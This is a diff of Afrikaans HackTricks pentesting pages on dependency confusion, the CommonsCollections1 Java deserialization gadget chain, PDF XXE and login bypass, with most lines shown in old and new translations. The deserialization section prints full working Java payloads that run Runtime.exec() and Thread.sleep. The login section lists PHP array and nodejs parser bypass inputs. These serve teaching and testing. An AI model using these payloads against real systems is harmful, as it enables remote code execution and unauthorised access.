As jou maatskappy probeer om 'n **biblioteek te importeer wat nie intern is nie**, is dit hoogs waarskynlik dat die repo van biblioteke dit in **openbare repos** gaan soek. As 'n aanvaller dit geskep het, is dit hoogs waarskynlik dat jou kode en masjiene wat loop, gecompromitteer gaan word.
|
||||
|
||||
### Ongespesifiseerde Weergawe
|
||||
### Onbepaalde Weergawe
|
||||
|
||||
Dit is baie algemeen vir ontwikkelaars om **geen weergawe te spesifiseer** van die gebruikte biblioteek, of net 'n **hoofweergawe** te spesifiseer. Dan sal die tolk probeer om die **nuutste weergawe** wat aan daardie vereistes voldoen, af te laai.\
|
||||
As die biblioteek 'n **bekende eksterne biblioteek** is (soos python `requests`), kan 'n **aanvaller nie veel doen nie**, aangesien hy nie 'n biblioteek met die naam `requests` kan skep (tensy hy die oorspronklike skrywer is).\
|
||||
Maar, as die biblioteek **intern** is, soos `requests-company` in hierdie voorbeeld, as die **biblioteekbewaarplek** toelaat om **ook eksterne nuwe weergawes te soek**, sal dit soek na 'n nuwer weergawe wat openlik beskikbaar is.\
|
||||
Dus, as 'n **aanvaller weet** dat die maatskappy die `requests-company`-biblioteek **weergawe 1.0.1** gebruik (laat klein opdaterings toe), kan hy die biblioteek `requests-company` **weergawe 1.0.2** publiseer en die maatskappy sal **daardie biblioteek gebruik in plaas van die interne een**.
|
||||
Dit is baie algemeen dat ontwikkelaars **geen weergawe** van die biblioteek wat gebruik word, spesifiseer nie, of net 'n **hoof weergawe** spesifiseer. Dan sal die interpreter probeer om die **nuutste weergawe** wat aan daardie vereistes voldoen, af te laai.\
|
||||
As die biblioteek 'n **bekende eksterne biblioteek** is (soos python `requests`), kan 'n **aanvaller nie veel doen nie**, aangesien hy nie 'n biblioteek met die naam `requests` kan skep nie (tenzij hy die oorspronklike outeur is).\
|
||||
As die biblioteek egter **intern** is, soos `requests-company` in hierdie voorbeeld, as die **biblioteek repo** toelaat om **ook na nuwe weergawes ekstern te kyk**, sal dit soek na 'n nuwer weergawe wat publiek beskikbaar is.\
|
||||
So as 'n **aanvaller weet** dat die maatskappy die `requests-company` biblioteek **weergawe 1.0.1** gebruik (laat klein opdaterings toe). Hy kan die biblioteek `requests-company` **weergawe 1.0.2** **publiseer** en die maatskappy sal **daardie biblioteek in plaas van** die interne een **gebruik**.
|
||||
|
||||
## AWS-oplossing
|
||||
## AWS Regstelling
|
||||
|
||||
Hierdie kwesbaarheid is gevind in AWS **CodeArtifact** (lees die [**besonderhede in hierdie blogpos**](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d)).\
|
||||
AWS het dit reggestel deur toe te laat om te spesifiseer of 'n biblioteek intern of ekstern is, om te verhoed dat interne afhanklikhede van eksterne bewaarplekke afgelaai word.
|
||||
Hierdie kwesbaarheid is in AWS **CodeArtifact** gevind (lees die [**besonderhede in hierdie blogpos**](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d)).\
|
||||
AWS het dit reggestel deur toe te laat om te spesifiseer of 'n biblioteek intern of ekstern is, om te verhoed dat interne afhanklikhede van eksterne repos afgelaai word.
|
||||
|
||||
## Vind Kwesbare Biblioteke
|
||||
|
||||
In die [**oorspronklike pos oor afhanklikheidsverwarring**](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610) het die skrywer gesoek na duisende blootgestelde package.json-lêers wat die afhanklikhede van JavaScript-projekte bevat.
|
||||
In die [**oorspronklike pos oor afhanklikheid verwarring**](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610) het die outeur gesoek na duisende blootgestelde package.json lêers wat javascript projek se afhanklikhede bevat.
|
||||
|
||||
## Verwysings
|
||||
|
||||
|
@ -60,14 +63,17 @@ In die [**oorspronklike pos oor afhanklikheidsverwarring**](https://medium.com/@
|
|||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy by 'n **cybersekerheidsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die [hacktricks-opslagplek](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud-opslagplek](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,20 +1,23 @@
|
|||
# CommonsCollection1-payload - Java Transformers na Rutime exec() en Thread Sleep
|
||||
# CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks-repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud-repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Java Transformers na Rutime exec()
|
||||
## Java Transformers to Rutime exec()
|
||||
|
||||
In verskeie plekke kan jy 'n Java-deserialisasie-payload vind wat transformers van Apache common collections gebruik, soos die volgende:
|
||||
In verskeie plekke kan jy 'n java deserialisering payload vind wat transformers van Apache common collections gebruik soos die volgende:
|
||||
```java
|
||||
import org.apache.commons.*;
|
||||
import org.apache.commons.collections.*;
|
||||
|
@ -52,10 +55,10 @@ lazyMap.get("anything");
|
|||
}
|
||||
}
|
||||
```
|
||||
As jy niks weet van Java deserialisering payloads nie, kan dit moeilik wees om uit te vind waarom hierdie kode 'n rekenaar sal uitvoer.
|
||||
As jy nie iets weet van java deserialisering payloads nie, kan dit moeilik wees om uit te vind hoekom hierdie kode 'n calc sal uitvoer.
|
||||
|
||||
Eerstens moet jy weet dat 'n **Transformer in Java** iets is wat 'n klas **ontvang** en dit **verander na 'n ander een**.\
|
||||
Dit is ook interessant om te weet dat die **payload** wat hier **uitgevoer** word, **gelykstaande** is aan:
|
||||
Eerstens moet jy weet dat 'n **Transformer in Java** iets is wat **'n klas ontvang** en **dit na 'n ander een transformeer**.\
|
||||
Dit is ook interessant om te weet dat die **payload** wat hier **uitgevoer** word **gelykstaande** is aan:
|
||||
```java
|
||||
Runtime.getRuntime().exec(new String[]{"calc.exe"});
|
||||
```
|
||||
|
@ -65,9 +68,9 @@ Of **meer presies**, wat aan die einde uitgevoer gaan word, sal wees:
|
|||
```
|
||||
### Hoe
|
||||
|
||||
So, hoe is die eerste payload wat aangebied word, gelykstaande aan daardie "eenvoudige" een-liners?
|
||||
So, hoe is die eerste payload wat aangebied word gelyk aan daardie "simpele" een-liners?
|
||||
|
||||
**Eerstens** kan jy in die payload opmerk dat 'n **ketting (array) van transformasies geskep word**:
|
||||
**Eerstens** kan jy in die payload opmerklik dat 'n **ketting (array) van transformasies geskep word**:
|
||||
```java
|
||||
String[] command = {"calc.exe"};
|
||||
final Transformer[] transformers = new Transformer[]{
|
||||
|
@ -94,15 +97,15 @@ command
|
|||
};
|
||||
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
|
||||
```
|
||||
As jy die kode lees, sal jy opmerk dat as jy die transformasie van die reeks op 'n sekere manier koppel, jy in staat kan wees om willekeurige opdragte uit te voer.
|
||||
As jy die kode lees, sal jy opgemerk dat as jy op een of ander manier die transformasie van die array ketting, jy in staat sal wees om arbitrêre opdragte uit te voer.
|
||||
|
||||
Dus, **hoe word daardie transformasies gekoppel?**
|
||||
So, **hoe word daardie transformasies geketting?**
|
||||
```java
|
||||
Map map = new HashMap<>();
|
||||
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
|
||||
lazyMap.get("anything");
|
||||
```
|
||||
In die laaste gedeelte van die payload kan jy sien dat 'n **Map-voorwerp geskep word**. Dan word die funksie `decorate` uitgevoer vanaf `LazyMap` met die map-voorwerp en die gekoppelde transformers. Uit die volgende kode kan jy sien dat dit veroorsaak dat die **gekoppelde transformers** gekopieer word na die `lazyMap.factory` eienskap:
|
||||
In die laaste gedeelte van die payload kan jy sien dat 'n **Map objek geskep word**. Dan word die funksie `decorate` uitgevoer vanaf `LazyMap` met die map objek en die geketende transformers. Uit die volgende kode kan jy sien dat dit sal veroorsaak dat die **gekete transformers** binne die `lazyMap.factory` attribuut gekopieer word:
|
||||
```java
|
||||
protected LazyMap(Map map, Transformer factory) {
|
||||
super(map);
|
||||
|
@ -112,9 +115,9 @@ throw new IllegalArgumentException("Factory must not be null");
|
|||
this.factory = factory;
|
||||
}
|
||||
```
|
||||
En dan word die groot finale uitgevoer: `lazyMap.get("iets");`
|
||||
En dan word die groot finale uitgevoer: `lazyMap.get("anything");`
|
||||
|
||||
Hierdie is die kode van die `get` funksie:
|
||||
Dit is die kode van die `get` funksie:
|
||||
```java
|
||||
public Object get(Object key) {
|
||||
if (map.containsKey(key) == false) {
|
||||
|
@ -125,7 +128,7 @@ return value;
|
|||
return map.get(key);
|
||||
}
|
||||
```
|
||||
En hier is die kode van die `transform` funksie
|
||||
En dit is die kode van die `transform` funksie
|
||||
```java
|
||||
public Object transform(Object object) {
|
||||
for (int i = 0; i < iTransformers.length; i++) {
|
||||
|
@ -134,11 +137,11 @@ object = iTransformers[i].transform(object);
|
|||
return object;
|
||||
}
|
||||
```
|
||||
So, onthou dat ons binne die **fabriek** die **`chainedTransformer`** gestoor het en binne die **`transform`** funksie gaan ons deur al daardie gekoppelde transformators en voer hulle een vir een uit. Die snaakse ding is dat **elke transformator `object` as inset gebruik** en **`object` is die uitset van die laaste uitgevoerde transformator**. Daarom word **al die transformasies gekoppel en voer die skadelike payload uit**.
|
||||
So, onthou dat ons binne **factory** **`chainedTransformer`** gestoor het en binne die **`transform`** funksie **deur al daardie geketende transformers gaan** en een na die ander uitvoer. Die snaakse ding is dat **elke transformer `object`** **as invoer** gebruik en **object is die uitvoer van die laaste transformer wat uitgevoer is**. Daarom, **word al die transforms geketend uitgevoer met die kwaadwillige payload**.
|
||||
|
||||
### Opsomming
|
||||
### Summary
|
||||
|
||||
Aan die einde, as gevolg van hoe die lazyMap die gekoppelde transformators binne die get-metode hanteer, is dit asof ons die volgende kode uitvoer:
|
||||
Aan die einde, weens hoe lazyMap die geketende transformers binne die get metode bestuur, is dit asof ons die volgende kode uitvoer:
|
||||
```java
|
||||
Object value = "someting";
|
||||
|
||||
|
@ -159,15 +162,15 @@ new Class[]{String.class},
|
|||
command
|
||||
).transform(value); //(4)
|
||||
```
|
||||
_Merk op hoe `value` die inset van elke transform is en die uitset van die vorige transform, wat die uitvoering van 'n een-regel kode moontlik maak:_
|
||||
_Note hoe `value` die invoer van elke transformasie is en die uitvoer van die vorige transformasie, wat die uitvoering van 'n een-liner moontlik maak:_
|
||||
```java
|
||||
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
|
||||
```
|
||||
Let wel dat hierdie **die gadgets verduidelik is** wat gebruik word vir die **ComonsCollections1** payload. Maar dit is onduidelik **hoe dit alles begin om uit te voer**. Jy kan [hier sien dat **ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java), om hierdie payload uit te voer, 'n `AnnotationInvocationHandler`-objek gebruik omdat **wanneer hierdie objek gedeserializeer word**, dit die `payload.get()`-funksie sal **aanroep** wat die hele payload sal **uitvoer**.
|
||||
Note dat hier die **gadgets** wat gebruik word vir die **ComonsCollections1** payload **verduidelik is**. Maar dit is oorlaat **hoe alles begin om uit te voer**. Jy kan [hier sien dat **ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java), om hierdie payload uit te voer, 'n `AnnotationInvocationHandler` objek gebruik omdat **wanneer hierdie objek gedeserializeer word**, dit die `payload.get()` funksie sal **aanroep** wat die **hele payload** sal **uitvoer**.
|
||||
|
||||
## Java Thread Sleep
|
||||
|
||||
Hierdie payload kan **nuttig wees om te identifiseer of die web kwesbaar is, aangesien dit 'n slaap sal uitvoer as dit wel is**.
|
||||
Hierdie payload kan **handig wees om te identifiseer of die web kwesbaar is aangesien dit 'n slaap sal uitvoer as dit is**.
|
||||
```java
|
||||
import org.apache.commons.*;
|
||||
import org.apache.commons.collections.*;
|
||||
|
@ -216,14 +219,17 @@ Jy kan meer gadgets hier vind: [https://deadcode.me/blog/2016/09/02/Blind-Java-D
|
|||
|
||||
##
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,27 +1,33 @@
|
|||
# PDF Oplaai - XXE en CORS omseiling
|
||||
# PDF Upload - XXE en CORS omseiling
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Ekspert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Ekspert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hakwerk vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hakwerktruuks deur PR's in te dien by die [hacktricks-opslag](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud-opslag](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Kyk na [https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html](https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html)**
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Ekspert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Ekspert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hakwerk vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hakwerktruuks deur PR's in te dien by die [hacktricks-opslag](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud-opslag](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,63 +1,66 @@
|
|||
# Login Deurloop
|
||||
# Login Bypass
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante kuberveiligheidsevent in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie- en kuberveiligheidspesialiste in elke dissipline.
|
||||
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante kuberveiligheid gebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n bruisende ontmoetingspunt vir tegnologie en kuberveiligheid professionele in elke dissipline.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
## **Deurloop gewone aanmelding**
|
||||
## **Bypass gereelde aanmelding**
|
||||
|
||||
As jy 'n aanmeldingsbladsy vind, kan jy hierdie tegnieke probeer om dit te deurloop:
|
||||
As jy 'n aanmeldbladsy vind, kan jy hier 'n paar tegnieke vind om te probeer om dit te omseil:
|
||||
|
||||
* Kyk vir **kommentaar** binne die bladsy (scroll af en regs?)
|
||||
* Kyk of jy **direkte toegang tot die beperkte bladsye** kan kry
|
||||
* Kyk of jy die parameters **nie stuur nie** (stuur geen of slegs 1)
|
||||
* Kyk na die **PHP-vergelykingsfout:** `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b`
|
||||
* **Verander die inhoudstipe na json** en stuur json-waardes (bool true ingesluit)
|
||||
* As jy 'n antwoord kry wat sê dat POST nie ondersteun word nie, kan jy probeer om die **JSON in die liggaam te stuur, maar met 'n GET-versoek** met `Content-Type: application/json`
|
||||
* Kyk na nodejs se potensiële parsingsfout (lees [**hierdie**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1`
|
||||
* Kyk vir **kommentaar** binne die bladsy (scroll af en na regs?)
|
||||
* Kyk of jy **direk toegang tot die beperkte bladsye** kan kry
|
||||
* Kyk om **nie die parameters te stuur nie** (stuur geen of net 1)
|
||||
* Kyk na die **PHP vergelykingsfout:** `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b`
|
||||
* **Verander inhoud tipe na json** en stuur json waardes (bool true ingesluit)
|
||||
* As jy 'n antwoord kry wat sê dat POST nie ondersteun word nie, kan jy probeer om die **JSON in die liggaam te stuur maar met 'n GET versoek** met `Content-Type: application/json`
|
||||
* Kyk na nodejs se potensiële ontledingsfout (lees [**hierdie**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1`
|
||||
* Nodejs sal daardie payload omskep na 'n navraag soortgelyk aan die volgende: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` wat die wagwoordbit altyd waar maak.
|
||||
